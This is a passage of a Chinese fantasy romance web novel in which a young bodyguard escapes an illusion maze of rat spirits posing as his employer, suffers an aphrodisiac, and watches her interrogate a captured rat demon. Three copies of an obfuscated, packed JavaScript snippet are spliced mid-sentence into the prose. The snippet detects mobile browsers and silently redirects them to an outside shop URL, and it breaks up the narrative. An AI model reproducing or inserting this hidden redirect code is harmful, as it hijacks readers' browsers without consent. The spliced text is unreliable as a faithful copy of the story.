他踩着湿漉漉的脚印上了岸。发现一个白袍人躺在地上,盖着他的外衣,是姚烛。容溪记得自己方才顺流直下后通过左侧洞口,并未转弯。他怎么又回到了原点? 容溪蹲下来查看姚烛,“你没事吧?” 姚烛缓缓睁开双眼,浑身乏力。脉搏也十分虚弱。她周身上下并无伤痕血迹。 “我不在的时候,有人攻击你吗?你为何躺在地上?”容溪扶着她的肩膀坐起身。 姚烛眼中水光颤颤巍巍,扑进他怀中,她手指攥紧了他的衣袖,“你怎么才回来。” 容溪愣在那,手脚不知往哪摆。怀中人柔若无骨,素白面庞紧紧贴着他的衣襟。姚烛似乎受到了很大的惊吓,气息不稳,道:“我差点没命。” 容溪的手缓缓落在她的肩头,稍作安抚。脑中电光火石,天人交战,他总觉得哪里不太对劲,姚烛不太像那种遇到打击就六神无主的人,怎么会突然盈盈抽泣往他怀里钻。 “出什么事了?”容溪暗中起了疑心,面上不动声色。 姚烛嗓音轻细娇弱,颤着道:“这里好黑。我怕。” 容溪轻轻揽住她的后脑勺,低下头,嗅着她发间气息。并无刚出浴染上的花香,反倒有种苔藓的阴湿味道。他心下断定,此人不是姚烛。 他眼中寒光一现,拔出腰间匕首。锋芒毕露。怀中人尚未反应过来,被一刀封喉。她瞳孔猛然收缩。容溪豁然起身,一脚踹在她肩膀上,姚烛飞了出去,重重撞在石壁上。白袍滑落在地。哪里还有人样,分明是只老鼠。 老鼠满地挣扎打滚,伤口血流如注,丑态毕露。 容溪冷眼旁观,目睹幻术暴露。 他意识到自己可能犯了个错误。这迷阵诡异万分,未明情况前,抛下姚烛出来寻找出口是不明智的。他们应该待在一起。 容溪遇到了老鼠扮成的假姚烛,姚烛就不会遇见老鼠扮的假容溪吗? 万一她中了套,后果不堪设想。他心中不安,脑中绷紧了一根弦,当即跳入水中原路返回。加快速度逆流而上,一口气返回原始据点。姚烛还在那。她端坐如钟,正在等容溪带回好消息。见容溪匆忙涉水而来,神色急切,她抬起眼睛望向他,“找到出口了吗?” 容溪扑到姚烛跟前,握住她一缕头发,嗅到花香。 容溪忙问:“你没事吧?” 姚烛道:“我能有什么事。” 她敏锐察觉到他的言外之意,“怎么,你有事?” 容溪道:“我刚才看到一个和你一模一样的人,是老鼠变的。我险些认错。你碰到了吗?”姚烛道:“没有。” 容溪确认她没事,镇定了些许,道:“我们还是不要分开为好。” 容溪捡了一些枯枝,点燃篝火。火光能让人感到平静。姚烛的目光始终凝视着他的脸,饶有兴味道:“吓着了?” 容溪折断枯枝扔进火里,道:“不至于,我是怕回来后你被老鼠掳走。” 姚烛若有所思,喃喃道:“这么担心我。” 护卫的天职就是保护东家,姚烛要是出事,他还上哪领工钱。他定然要以她的安危为重。姚烛光着脚走到容溪跟前,轻轻踢了他小腿,容溪猝不及防,手里拨火的木棍掉在草丛里。他伸手去捡,姚烛一脚踩在他手背上。 并不重,轻轻地碾着。他骨节分明的指骨顶在她温热脚心处。 容溪额头上青筋暴跳,脸色沉了下来。忽然有种不详的预感。 “从没有人这么担心过我。” 姚烛俯身,指甲尖拂过他浓密乌青的长眉,顺着侧脸的轮廓滑到下巴处。 容溪反手扣住姚烛脚踝,将人掀倒在地。姚烛眼中闪过惊诧光芒。紧接着就被容溪的匕首抵在了喉咙口。容溪将她制服在地,隐隐发怒,厉声道:“你们到底是谁?为何要假扮她?” 此人头发里虽然染着花香,却举止轻佻,挑逗于他。 容溪两次险些中套,他再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922925|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有好脸色。 姚烛仰颈躺在他身下,道:“还是不像吗?” 外观和细节上,的确天衣无缝,容溪与姚烛相识不久,细微之处根本难以分辨。可这些假冒品最大的破绽在于眼神。前一个柔弱怯懦,后一个欲念深重。跟真正的姚烛相差太远了。 容溪匕首一震,充满威胁,道:“谁指使你来的,你们想做什么?” 姚烛伸手勾了勾他腰带,道:“我喜欢你。” 容溪心生反感,下了死手。被割喉的姚烛再次变成了死老鼠。他的判断没有错。容溪脑海中的思绪缠成一个死结。为什么原路返回,还是没找到真正的姚烛。难道这里是一个巨大的幻象迷宫吗?他已经被禁锢在里头,不断鬼打墙,遇到的姚烛全是假的。 真正的姚烛到底在哪? 诡异现象叫人坐立难安。 容溪修习法术时,师父曾告诫他,“这世上最可怕的敌人,是看不到的。” 这回算是遇上了。容溪强压下急躁心情,再次入水,寻找线索。他必须尽快找到姚烛。 所谓一生二,二生三,三生万物。上岸看到第三个姚烛的时候,容溪想也不想直接掏出匕首。这些老鼠精仿佛没有灵魂,吐不出任何有效信息,只会动手动脚,说一些暧昧奇怪的话。 但这次的情况似乎有所不同。第三个假姚烛眼中凝聚着神采,打量容溪和他手中锋利的匕首,率先开口:“你想杀我吗?” 容溪不耐烦道:“你们一起上吧,有什么本事,尽管使出来。” 姚烛围绕他静静踱步,“我们都源于真实的姚烛,是她的影子,也是你心中姚烛的投影,你杀不完。” 容溪道:“不可能。” 姚烛笑意盈盈道:“你是不是觉得,我们玷污了她的形象。高高在上的姚老板,在你眼中,是包容而强大的,她冷静,且心狠手辣,好像根本没有世俗的欲望。” 容溪的目光跟随她游走,寻找下手的时机。 姚烛道:“殊不知,越是无欲无求之人,欲望爆发出来越是强得可怕。你很快就会领略到了。” 容溪不为所动,这点废话连威胁都算不上,道:“你能说点有用的吗?” 姚烛道:“你来绿台,不正是为了弄清楚,你母亲是否因姚烛而死?” 容溪攥住匕首的骨节咔哒响了起来,他死死盯老鼠精,眼中瞬间染上杀意。 姚烛道:“我可以告诉你,你母亲的确因姚烛而死。因为你父亲曾是她的爱宠。你母亲横刀夺爱,姚烛怀恨在心,设计你母亲惨死在战争中。” 容溪冷笑道:“你不过是想引我们自相残杀。” 姚烛道:“你父亲口口声声说,他与你母亲相识相爱,才生下了你。可他为什么连你母亲的生辰都不记得,却对姚烛嗜辣一事念念不忘,每次过年都准备辣椒,盼着姚烛回来。你不过是父母相爱的结晶,而是私情苟合的产物。” 容溪打断她的高谈阔论,“够了。” 攻心之术,比得就是谁能沉住气。他绝对不能迷失心智,困在这里。 父母和姚烛的往事,以及母亲的死因,的确是容溪深藏于心最深的执念。他定会抽丝剥茧一件件查清楚。但这一切还轮不到一只老鼠精说三道四。他不想从任何人口中去了解姚烛的为人。他要自己用眼睛看,用耳朵听。 容溪挥出匕首,当场将其打死。假姚烛又变成了一只老鼠精。 东流溪水忽然掉转流向,向西逆流。冷水碰撞间水花四溅。容溪退了半步,警惕异动。落花流水,席卷而来,星星点点不计其数的花瓣涌动着。似乎受某种力量催动,在水面上运动起来,拼凑成字形,是三个大字。 ——“跟我来”。 11. 中了催情香 逆流溪水重新向东流淌,鲜花随之而去。 三个字很快消了。 容溪思虑再三。与其在迷宫里继续兜圈子听老鼠精胡扯,不如跟随落花一探究竟,看看幕后主使的人葫芦里究竟卖的什么药。 容溪潜入水下,跟着落花,穿过六七个洞口,重新上岸。 姚烛蹲在岸边张望,见到容溪身影。她朝他伸出一只手,“上来。” 容溪站在水里盯着她看了半晌,冷着脸,咬牙切齿,“你们有完没完?” 姚烛目露疑惑,还没反应过来,被容溪扑倒在地。一阵天旋地转,她两眼冒金星。容溪冰冷手指握住了她的脖子,微微发力,“还有什么招数,通通使出来。” 姚烛道:“你中邪了吗?” 容溪低头猛嗅她头发,道:“味道对上了,眼神也对上了。我承认你从头到尾里里外外现在跟她一模一样,但你休想骗过我。” 姚烛整个愣住,不知道他在说什么。 容溪离开后杳无音讯,一去不复返。她等了半天没等到,这才催动水流运送花瓣寻找他的下落,意外发现这里的水网四通八达,洞口成百上千,她料想容溪肯定是迷路了。等候半日,才见他平安归来。姚烛脑子转得很快,道:“你是不是碰到了什么脏东西?” 两人中间有东西硌得慌。 姚烛摸索他胸膛,从中摸到了一块木头。 容溪勃然大怒,攥着她手腕,忍无可忍道:“不许摸我!” 姚烛顺手牵羊,摸出了那个物件。是块黑色根须,木头的,她二指夹持木头,在容溪眼前挥动。容溪被吸引了目光,仍充满警觉,“这什么东西?” 姚烛道:“你带回来的,倒问我。” 黑色木头散发着奇异香味,令人头晕目眩。容溪眼神一阵迷离,他下水游了太多趟,根本没发现自己身上多了什么不该有的东西。 姚烛捂住他口鼻,道:“别闻,这是催情香。” 凉薄指腹擦过他柔软滚烫的嘴唇。容溪脑子一炸,电打似的弹起来,松开了姚烛,退避三舍。 姚烛仰身坐直,端详手中的鬼东西。 迷阵之主倒真有恶趣味。 姚烛将这害人的玩意抛入水中。溪水冲走了它。 容溪的目光惊疑不定,他总算在她身上找到了些许熟悉的感觉。 姚烛是不会慌的,容溪杯弓蛇影,“你真是姚烛?” 姚烛道:“这还能有假?” 容溪道:“我刚才遇到了很多老鼠精变成的你。” “是吗,”姚烛有些意外。她陷入了沉思,打量反应过度的容溪,“她们对你做了什么?” 容溪沉默半晌,姚烛想起他方才那句气急败坏的大喊,饶有兴致问道;“她们轻薄你了?” 容溪脸上青一块红一块,极为难看,被她看得心情烦躁,冷冷道:“没有,她们想挑拨我们自相残杀,说了很多乱七八糟的。” 难怪,容溪看见她就扑过来,那么大的火气。 姚烛听完他的来龙去脉,这才明白他的反常行为从何而来。 “是我大意了,不该让你独自去探路。”她走到容溪跟前,检查他是否受伤,“你感觉怎么样?” 容溪扯了扯领口,不知为何姚烛的靠近令他口干舌燥,道:“有点热。” 姚烛道:“那东西不能碰也不能闻,你去浅滩中坐下,打坐静心,切勿动用内力,或可缓解一二。” 容溪照她的话,到溪水中打坐降温。 他的领口被自己扯得松松垮垮,脖颈连着锁骨一块被热浪烧得通红。少年目光隐忍难堪,咬着下嘴唇破了皮。他忍不住瞥了瞥姚烛。姚烛正在认真观察他的情况。容溪调整了腰下的布料,眉头紧皱,心生焦虑,惴惴然,“你也碰了黑木,你为什么没事?” 姚烛道:“一切情药对我不起作用。” 容溪以为是她百毒不侵的体质,听了好奇,“你怎么练的?” 姚烛的目光静静穿透了他,他心热得更加厉害,匆忙错开视线。泡水根本不起什么作用。他能感觉到身体里的那股劲越来越冲,越是压制,越是渴望。容溪长到十七岁,从没人教过他男女之事。他隐隐感觉到自己会在情药的控制下会做出些不好的事情。 姚烛道:“欲练此功,必先自宫。你听说过葵花宝典吗?” 容溪不解其意,充满求知欲/望,忙道:“那是什么?现在练还管用吗?” 他看起来一无所知,眼神带着点茫然。眼尾通红,瞧着有些走投无路的可怜。姚烛不太好继续逗弄这个可怜虫了。“我胡说的。” 她起身走向洞穴深处,面壁坐下,“你自己慢慢调整,我不看你。” 她的目光离开后,汇聚在容溪身上的压力瞬时减轻了许多。他心烦意乱,说得轻巧,怎么调整,他难受得很。姚烛这是站着说话不腰疼。 容溪闭上双眼咬牙切齿,后悔自己一时疏忽中了套。 姚烛面对着墙壁,徒手画符,手指划过僵硬岩石,留下金色线条纹理。通过这种特殊方式传信给木橙。让木橙想办法把他们弄出去。她专心致志,不受打扰。并未注意身后的人在做什么。约莫过了一刻钟,估摸着容溪应该好了。 姚烛这才回去看他,却见他浑身通红,脸色涨得青紫,战栗着,嘴唇咬出了血。他已有些神智不清摇摇欲坠,整个上衣都被挠碎了,却还在苦苦支撑。 少年倔强得可怕,将热毒视作敌手,死死顽抗。他不可能认输。姚烛从没见过这么固执又愚蠢的人。情药又不致命,纾解出来就好了,他这么扛着,反倒可能出现性命危险。 姚烛呵道:“容溪。” 容溪充耳不闻,低着头,喘着粗气。像暴躁发狂却戴着铁链子的狼。 姚烛掐住他的下巴,迫使他抬头,疾言厉色,“谁叫你这么忍?” 容溪脸上全是汗,烫得惊人。他涣散视线勉强聚了焦,盯着姚烛,脑海里最后一丝理智岌岌可危,突然很想凑近姚烛。她是冰的,很凉快,一定能消暑。姚烛强硬掰开他牙关,见他齿缝里都是血,“容溪,你想死吗?” 容溪轻声道:“我想活着。” 姚烛道:“那你忍着做什么?” 容溪摇了摇头,豆大汗滴落下水里。 他声音断断续续,听起来茫然而无助,“我只是……不知道该怎么做。” 姚烛道:“?”这是什么意思,他不知道? 饶是姚烛见多识广,面对这种荒谬的局面,也瞠目结舌。 她完全没想到容溪会是这么单纯天真。活到十七岁竟然什么都不知道吗? 现在的情况,已经由不得姚烛不信了。他看起来确实一无所知。 姚烛暗自心想,难道需要我来教吗? 我只是他的老板而已。 到底哪个缺德的王八蛋设下这么歹毒的迷阵? 容溪捡起一块石头,手哆哆嗦嗦,低声道:“你打晕我吧,我快坚持不住了。” 姚烛道:“打晕也没用。”总不能眼睁睁看着容溪死在这里。进入龙骨秘境还需要他的协助。那些人可能已经盯上绿台了。没有太多时间犹豫。姚烛心下叹了一口气,做梦也没想到自己居然要做这种事。 等她抓出幕后黑手,一定整死那个王八蛋。 姚烛道:“把手抬起来。” 容溪神情恍惚,听不到声音了。 姚烛抓住他两只手,抬起来,两人对掌。同坐溪水中。姚烛通过掌心向他传送真气,引导他体内乱窜的邪气,容溪被体内灌入的凉意陡然惊醒。他一个激灵,猛然抬起头来,看着姚烛沉静的眼睛,脑中一片空白。 姚烛道:“还记得我教你的御水术吗?” 容溪嗓音沙哑,喃喃道:“忘了。” 姚烛道:“我再教你一遍,你记好了。” 那股不属于他的真气顺着经脉缓慢游走,像一只手,抚平了全部躁动,容溪遵循本能反应,克而化之。他渐渐闭上眼睛,百般压抑的苦楚随流水而散,得到救赎…… 再次睁开双眼,他身体上的不适已经彻底消失。 容溪躺在岸边,身上盖着自己的外袍。篝火发出噼里啪啦的动静,他手指动了动。扭过头,隔着朦胧火焰,看见姚烛坐在对面。 姚烛道:“醒了?” 容溪哑声道:“我睡了多久?” 姚烛道:“两个时辰。” 容溪撑着手臂起身,感觉有些疲惫,乏力。 姚烛道:“躺着吧,等会就能出去了。” 两个时辰,她已经为他解了毒,并找到出去的办法。 容溪顺其自然躺回了原地。他枕着自己的手臂,望着姚烛的身影,想不起来刚才发生过什么。好像姚烛一直在用真气引导他调整,他脑子里一片混乱。“我是怎么好起来的?” 姚烛闭了闭眼,扶额道:“别问我这事好吗。” 容溪道:“为什么?” 姚烛无言以对,容溪突然感到抱歉,道:“我是不是耗费你太多真气了。” 姚烛捡起一根正在燃烧的柴火,走到他跟前,道:“你如果再提,我在你脸上烫个疤。你以后再也别想娶媳妇了。” 容溪看了看她,又看了看柴火。他沉默不语,垂下了目光,绞尽脑汁回想细节,找出令姚烛不悦的缘由。可是他真的什么都想不起来了。如果姚烛只是用真气助他平复药性,为何如此讳莫如深。 姚烛见他脸色苍白虚弱的模样,将柴火放下,捡起一条刚烤好的鱼,递给他。 “吃点东西。”她缓和了语气,不再那般疾言厉色。 容溪摇摇头,“我不饿。” 姚烛道:“你需要补充体力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922926|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 烤鱼怼到了嘴边,他只好接过,撕下鱼肉,没滋没味往嘴里塞。看起来像个委曲求全的受气包。姚烛明明没说两句重话,就这个样子。 姚烛道:“放心,你的清白之身还在。” 容溪道:“???” 姚烛道:“严格意义上来说,我并没有碰到你。” 这话没头没尾,他听得一头雾水,正要开口询问。 姚烛冷冷打断他:“不许问我,你长大以后就知道了!” 这口吻,和父亲简直一模一样。每当容溪追问母亲的过去。父亲不胜其烦,就用这话搪塞他。容溪放弃追问,道:“好吧。” 姚烛越想越离谱,忍不住道:“你都长这么大了你爹不教你一下吗?” 容溪道:“教我什么?” 姚烛梗住了,难以为继,有口难言:“当我没说。” 容溪思考了半天,误以为自己在混沌转态下,做了有失教养的事。故而姚烛不悦,连他父亲一同训斥上了。容溪道:“我爹太忙,没有时间管我。为了养活我,他过得很辛苦。” 他一副做错事又不明白怎么回事的样子,惨兮兮。 容溪迟疑道:“如果我做错什么,你可以惩罚我。但别扣我太多工钱。” 这种时候,他想到的,竟然是工钱。 姚烛道有些好笑:“放心,不会克扣你的工钱。” 容溪如释重负。姚烛岔开话头,不再聊那个尴尬的事情,“有件事情,我一直想问你。” 容溪道:“什么?” 姚烛道:“以你的身手,无论加入任何宗派,都能得到重用。为什么要靠当护卫养家糊口呢?” 容溪道:“我和我爹受仇家追杀,逃难至海云镇。至今已有七八年。我爹说外面很危险,一旦出去就会被仇家发现。他不准我离开海云镇。” 姚烛道:“那你为什么去跑船呢?” 容溪认真想了想,才回答:“我不想一辈子困在这里,我要出去看看外面的世界。” 跑船的活是他好不容易争取到的,知道父亲必定阻止,他留下一封信,连夜离开。从头到尾都是自己拿的主意,没有跟父亲商量。 后来他从海上回来,回家看到父亲红了眼睛。心下不忍。他与父亲相依为命。如果他一走了之,真的碰到仇家,死在外面。那样的结果对于父亲太过残忍。 “你死了,爹也活不下去了。”父亲是这么说的。 容溪被愧疚反复折磨,决定暂缓一段时日,等他修为提升到不惧强敌的水平,再出海探索外面的世界。在此之前,他必须不断磨砺自己,让手中剑更加锋利。 经过深思熟虑后,容溪打算先在海云镇干活,攒点钱,改善家里的生存状况。 海云镇的地理位置偏僻,又无矿山灵脉,几大宗门和诸侯势力都不在这里。容溪固然出类拔萃,资质万里挑一。可又有哪个伯乐会大费周章千里迢迢跑到海云镇,发掘他这个千里马呢?容溪怀才不遇,少年意气处处碰壁。 这个鸟不拉屎的穷地方,算得上有钱有势的,只有那些跑船的商户了。 听他这么一说,姚烛意识到。他来绿台,可能真的只是因为工钱高,他正好缺一份活干。 毕竟海云镇就那么大。他来应征护卫,也合情合理。 姚烛道:“你就这么缺钱吗?” 容溪道:“嗯。” 他静静躺在草里,状态懒怠。昨晚他忙活了一夜,没能在姚烛的识海中完成试炼。刚出来,又掉入迷阵。他一心想找到出口,遇到那么多耗子精,整个人的戾气和杀意都被激了出来。在情药作用下,一发不可收拾。 昏睡醒来后,周身戾气仿佛被姚烛度化了。他的紧张和焦躁消散,有种飘飘然的恍惚感。好像宿醉一般。并不难受,甚至有几分快慰。明明危机尚未解除,他们受困迷阵。姚烛所说的脱困还没看到影,可他心如止水。 他想多躺一会儿,跟姚烛就这样隔着篝火说话。他从来不跟任何人说家里的事。姚烛问起,他却产生了前所未有的倾诉欲,想和盘托出,一五一十告诉她。 “我们家屋顶很破,修了很多次,下雨还是漏水。我爹拿个盆接着。一晚上叮叮当当,吵得人睡不着。冬天漏风漏雪。早上醒来桌子上全是冰碴。我想租一个新院子,让我爹搬过去住……”容溪自顾自絮絮叨叨。 那药的后遗症是让哑巴变成话痨吗?他也不知道自己为什么说个不停。 这些事跟姚烛有什么关系呢?听起来像卖惨。他不需要任何人的同情。他在做一件连自己都感到费解的事。姚烛会觉得他烦吗? 容溪忍不住看了她一眼。 姚烛倒是没有不太耐烦的神情。她认真聆听,拨弄柴火。 最后等容溪说完了,她才接上话头,道:“放心,跟着我,不会缺钱花。” 12. 审讯与攻心 半空中浮现出一团光雾。 姚烛从地上起身,抬头看向突如其来的异动。 光雾内闪现人形,从天而降,掉在姚烛旁边空地上。那人摔了个屁股蹲,四仰八叉。竟然是木橙。姚烛打量她着急忙乱的模样。 木橙拍拍屁股爬起来,“都不知道接我一下,疼死我了。” 她进来得如此突然,还没看清楚是敌是友,姚烛得有多大的心才会伸手去接,不一掌打飞都算克制了。木橙观察山谷幻境,对迷阵的真实程度啧啧称奇。环顾了一圈,发现容溪的身影。容溪在她坠落的瞬间拔剑站了起来。 木橙诧异地看着他:“你怎么也在这?” 容溪经历了耗子精伪造的人物,十分警惕。他不确定来者究竟是真是假。 姚烛给了他一个眼神,道:“放心,是木橙。” 木橙莫名其妙。 姚烛道:“你怎么进来的?” 木橙道:“我在你房间里找到只死老鼠。掰开老鼠,我就掉进来了。” 姚烛曾经花大价钱请阵师授课,教木橙修习阵法八卦。可她看到老鼠竟毫无警惕,跟着一块掉进来。这个不靠谱的,还有没有点脑子。 木橙的注意力被篝火和烤鱼所吸引,道:“你们在野炊啊?” 她捡起剩下半边烤鱼,撕下一块肉,尝了尝。 “哇,”木橙惊叹不已,“好真实的口感!” “研究一下,怎么破阵。”姚烛道。都什么时候了,还管烤鱼。木橙简直有点神经病。 “着什么急,好久没野炊了,不如我们再抓几条鱼烤来吃。” “信不信我把你叉了烤着吃?” “咦,你急了,”木橙惊叹道:“我好久看你急过了。” “……” “刚才发生了什么,”木橙转向容溪,悄悄打探:“她为什么这么没耐心?” 姚烛为她请的师父是九州数一数二的大阵师。那位阵师曾痛心疾首表示,“这孩子天资聪颖,悟性极佳。若是再用功一些,把心思放在正途上就不得了了。” 这话差多就跟你家孩子脑子聪明但就是不努力一样。属于听着舒服的废话。 木橙胡扯了一通,看姚烛眼神越来越冷。姚烛很少生气,不代表不会打人。木橙心有余悸,默默放下烤鱼,开始破阵。 “着什么急嘛,又不是出不去。”她双手结印,掌心凝结金色光辉。抬手向上,金印飞升至半空,照亮整座山谷。机括运转发出咔哒声响。容溪望向头顶上那张大印,试图读懂其中流转的符文线条。他曾在书上看过关于阵法的奥义,但涉猎不深。 破阵需要一点时间。 木橙正在破解整个迷阵的核心,边忙活,边聊天,“你们俩在这待了多久?” 姚烛道:“三四个时辰。” 木橙道:“都做什么呢,纯聊天?”她打量容溪苍白面色,饶有兴致打探八卦,“这地方景色缠绵,又没人。你们俩就没有……” 疯丫头嘴上没个把门的,什么话都乱说。 姚烛打断她:“专心破阵。” 木橙悻悻闭上嘴巴。 姚烛这人冷心冷肺,她孤家寡人,从不谈男女之事。木橙偶尔开个玩笑她都懒得接茬。 “急什么。”木橙嘟囔一声,把注意力收回来。 她聆听琐碎的咔哒声,忽然一顿。反手控住轮盘。十指翻花绳般拨弄金线,将那繁复迷宫的核心剥了出来。她脸上光芒闪烁不定。轰然一声,整个山谷震颤。姚烛与容溪身形踉跄。山顶刷刷掉落石块。木橙喝道:“开!” 她双手外括,眼前山谷竟然生生撕裂成两半。地上溪流与石块腾空起来,朝天天上飞去。三人也都双脚也双脚离地,被强大吸力吸向天空。天空银河流转,旋摆为巨大漩涡。他们被卷入其中,被黑暗吞噬。 姚烛睁开双眼。周围仍是屏风小榻,卧房布置。 三人回到了刚开始消失的地方。 何掌柜早已等候多时,见到他们,立即上前,“你们回来了?” 木橙大言不惭道:“我亲自出马,还能不成。”大阵师夸她天赋高,可不是瞎吹捧。 姚烛径直看向何掌柜,问道:“抓住设阵之人了吗?” 何掌柜道:“抓到了。那老鼠是玄门法术,控制距离限于方圆三里。文聪带人去搜了一圈。抓到一个胖子。眼下正关押在柴房,听候发落。” 姚烛遭人暗算,何掌柜他们能反应这么快,是因为之前有过预案。 文聪是绿台的伙计,犬系半妖,嗅觉灵敏,拿到老鼠一闻,就能找到同样的气味来源。何掌柜做事条理清晰,效率极高。他们兵分两路,木橙负责入阵解救老板,文聪负责抓人。姚烛直接问结果:“审得怎么样?” 何掌柜道:“他叫孟鼠,在这附近卖了一年馒头,应该是某个人埋的眼线。一直盯着我们,但他骨头很硬,不肯供出他主子。” 姚烛道:“我去看看。” 容溪立即道:“我跟你一起。” 姚烛抬起手:“不用,已经安全了。”她目光示意何掌柜,吩咐道:“送容溪回去休息。” 容溪比往前脸色苍白许多。何掌柜道:“受伤了吗?可要请个郎中来瞧瞧?” 姚烛道:“没事,躺着歇会儿,给他炖点鹿鞭补一补。” 何掌柜狐疑地看了容溪一眼。木橙也挑起眉毛。容溪神情没有太大变化,他想知道幕后黑手的真面目,陪同姚烛一起,“我已经休息过了。” 姚烛手背轻碰了下他肩膀,压低声音道:“听话。” 容溪半边肩膀都麻了。他呆在原地,一时说不出话来。所有知觉被她碰到的地方带走,又麻又痒。姚烛的语气不容置喙,“都出去,我要换衣裳。” 平常无事,姚烛总是淡淡的。真出了什么情况,她气场大变,雷厉风行。所有人都围绕她指令行动。根本没有丝毫打马虎眼的余地。 容溪被迫回房间休息。 柴房内,关押着暗算姚烛的凶手。 据何掌柜透露,此人是鼠精,二百年修为。一年前来到海云镇,开了一家馒头铺,人称孟鼠。 孟鼠长得白白胖胖,个头矮小。性情憨厚老实,他揉得一手好面,蒸得馒头闻名十里。附近街坊百姓都尝过他的手艺。 文聪带人抓到他时,他坐在堆满面粉的仓库里。身前摆着盆刚揉好的面,他在等面发酵。大家看着这个傻不愣登的小胖子,怀疑找错了人。 文聪狗鼻子极其灵敏,断言“就是他”。 他们冲了进去,孟鼠如梦如醒,这才反应过来。他迟钝地爬上灶台,试图化成原形钻进烟囱里逃跑。结果上半身成了老鼠,下半身还是人腿。被文聪一拉,一拽,从屋顶摔下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922927|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,摔断了一条腿。此人木讷寡言,被捕后,一句话也没有说过。 文聪逼问他“谁让你来害我们老板的”。 孟鼠低头不语。文聪一气之下,抽了他十几鞭。把这小白胖子打得皮开肉绽。他倒在地上,吃痛只闷哼,不求饶。满屋血腥气,他的血和油流得到处是。 姚烛走进柴房,端详地上这摊血肉模糊的活物,道:“你叫孟鼠?” 孟鼠安安静静地趴在那里等死。 姚烛蹲下来,伸手触碰他眉心。他冷不防哆嗦了一下,看向姚烛,眼神中含着些微恐惧,姚烛捻了捻指尖沾上的新鲜血液,道:“你不是半妖,是纯血妖族。” 孟鼠目光动了动,惊惧不已。 三百年前,人族与妖族大规模融合,诞生了半妖族。半妖族联合人族讨伐妖族,杀死并封印妖皇,占领妖族的疆土。紧接着,半妖族背叛共治天下的盟约,转而对人族刀兵相向,赶尽杀绝。百年间,人族不断失去土地,失去了一切。 如今的九州已经是半妖族的天下。 他们继承人族的文化,但骨子里一半流着妖族的血。 纯血妖族和人族都成了稀有品种。 去年一只纯血白雕在拍卖行拍出一座城池的价格,轰动一时,令人咋舌。白雕不过百年修为,才刚成精,便奇货可居,价值连城。孟鼠这样二百年修为的,更是罕见。他像一块行走的金砖,或者说金矿,稀世难求。 鬼市的奸商为了赚钱搞出了许多假冒纯妖。有些人无从分辨。姚烛却一眼认得出来。纯妖和半妖的灵气是不一样的。前者清澈,后者浑浊。 “纯妖价值连城,遭人觊觎。你们的血肉,是炼丹滋补的灵药。”姚烛不禁对他的来历感到好奇,“你是怎么堂而皇之出现在人前的?” 孟鼠抱着脑袋,蜷曲身体,躲开她无处不在的窥视。 姚烛伸出手,指尖停在他太阳穴位置。一根细银针破皮而出,被她抽出。针尖染血,闪烁着微光。姚烛眼神汇聚起来,“锁灵针,有意思。” 这根针在毫无防备的情况下被她徒手抽出。孟鼠反应剧烈,他浑身抽搐起来。诈尸般坐起来,双手刨坑,刨得木屑飞溅。地板被他挖出了一个大洞。 他十指鲜血淋漓,用力地挖开土层和石块,把脑袋藏进去。 他肥胖的身躯像蠕虫一样笨重。 姚烛对他的举动冷眼旁观,“害怕了?” 她注视着孟鼠,“很快,整条街的人都能闻到你的味道。” 纯妖的灵气对于半妖族来说有着致命的吸引力。姚烛的话音残忍无比,“以前他们吃你做的馒头。现在他们来吃你。” 孟鼠身形一僵。他固执地把脑袋埋在那个坑里,双手堵住双耳,闭目塞听。身体却因为恐惧战栗发抖。带着锁灵针,他是擅长做馒头的孟师傅,人人惠顾。摘下锁灵针,他变成了待宰羔羊。他不是他们的同族,是一盘大补的菜。 姚烛剥掉了他傍身的保护伞,撕下赖以生存的皮囊,让他从人变成老鼠。 姚烛道:“你的任务已经失败了。” “如果你想活着,就开口说话,我可以把这根针还给你。” 孟鼠无动于衷。姚烛知道他能听得见,“我数三下。你不说,我便折断这根针。” “三……” “二……” “一。” 13. 别这么看我 孟鼠的猛然抬起头,目光惊恐,看向她,结结巴巴发出声音:“还……还给我。” 这不是会说话么。姚烛勾起嘴角。 她说话算数,哪怕孟鼠就开口说了三个字。 孟鼠劈手夺过锁灵针,忙乱塞进太阳穴。锁灵针归位,他瞬间好受了许多。头上冷汗下雨似地流下来。姚烛道:“我能还给你,也能随时拔出来。” 孟鼠如临大敌,双腿乱蹬往后退。他背靠着柴木,慌乱无措,眼中写满祈求。 姚烛道:“我是生意人,讲究和气生财。你虽然暗算了我,但我也全须全尾的,就不跟你计较了。孟师傅,你做一手好馒头,藏匿身份混迹市井之中,想必也不喜欢藏头露尾做一只阴沟里的老鼠。我们做一笔交易如何?我可以保你平安无事,在这条街上卖一辈子馒头。” 